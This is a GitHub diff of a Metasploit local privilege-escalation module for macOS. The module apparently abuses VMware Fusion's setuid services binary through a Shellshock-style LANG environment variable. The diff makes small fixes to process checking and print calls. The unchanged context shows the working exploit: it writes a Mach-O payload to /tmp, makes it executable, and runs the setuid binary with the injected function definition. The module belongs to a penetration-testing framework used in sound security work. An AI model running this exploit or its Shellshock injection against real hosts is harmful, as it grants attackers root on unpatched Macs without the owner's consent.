File tree Expand file tree Collapse file tree 1 file changed +6
-5
lines changed
modules/exploits/osx/local Expand file tree Collapse file tree 1 file changed +6
-5
lines changed Original file line number Diff line number Diff line change @@ -64,25 +64,26 @@ def check
64
64
end
65
65
66
66
def exploit
67
- process_check = datastore [ 'VMWARE_PATH' ] + '/Contents/Library/[VO] '
67
+ process_check = datastore [ 'VMWARE_PATH' ] + '/Contents/Library/VMware Fusion Services '
68
68
processes = cmd_exec ( "bash -c \" ps ax | grep '#{ process_check } '\" " ) . split ( "\n " )
69
+ processes . delete_if { |p | p =~ /grep/ }
69
70
70
71
if processes . length > 0
71
- print_error "VMware is already running the following processes:\n " + processes . join ( "\n " )
72
- print_error "These processes must be killed before exploiting."
72
+ print_error ( "VMware is already running the following processes:\n #{ processes . join ( "\n " ) } " )
73
+ print_error ( "These processes must be killed before exploiting." )
73
74
return
74
75
end
75
76
76
77
payload_file = "/tmp/#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
77
78
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
78
79
79
- print_status "Writing payload file as '#{ payload_file } '"
80
+ print_status ( "Writing payload file as '#{ payload_file } '" )
80
81
exe = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
81
82
write_file ( payload_file , exe )
82
83
register_file_for_cleanup ( payload_file )
83
84
cmd_exec ( "chmod +x #{ payload_file } " )
84
85
85
- print_status "Running VMWare services..."
86
+ print_status ( "Running VMWare services..." )
86
87
cmd_exec ( "LANG='() { :;}; #{ payload_file } ' '#{ datastore [ 'VMWARE_PATH' ] } #{ path } '" )
87
88
end
88
89
You can’t perform that action at this time.
0 commit comments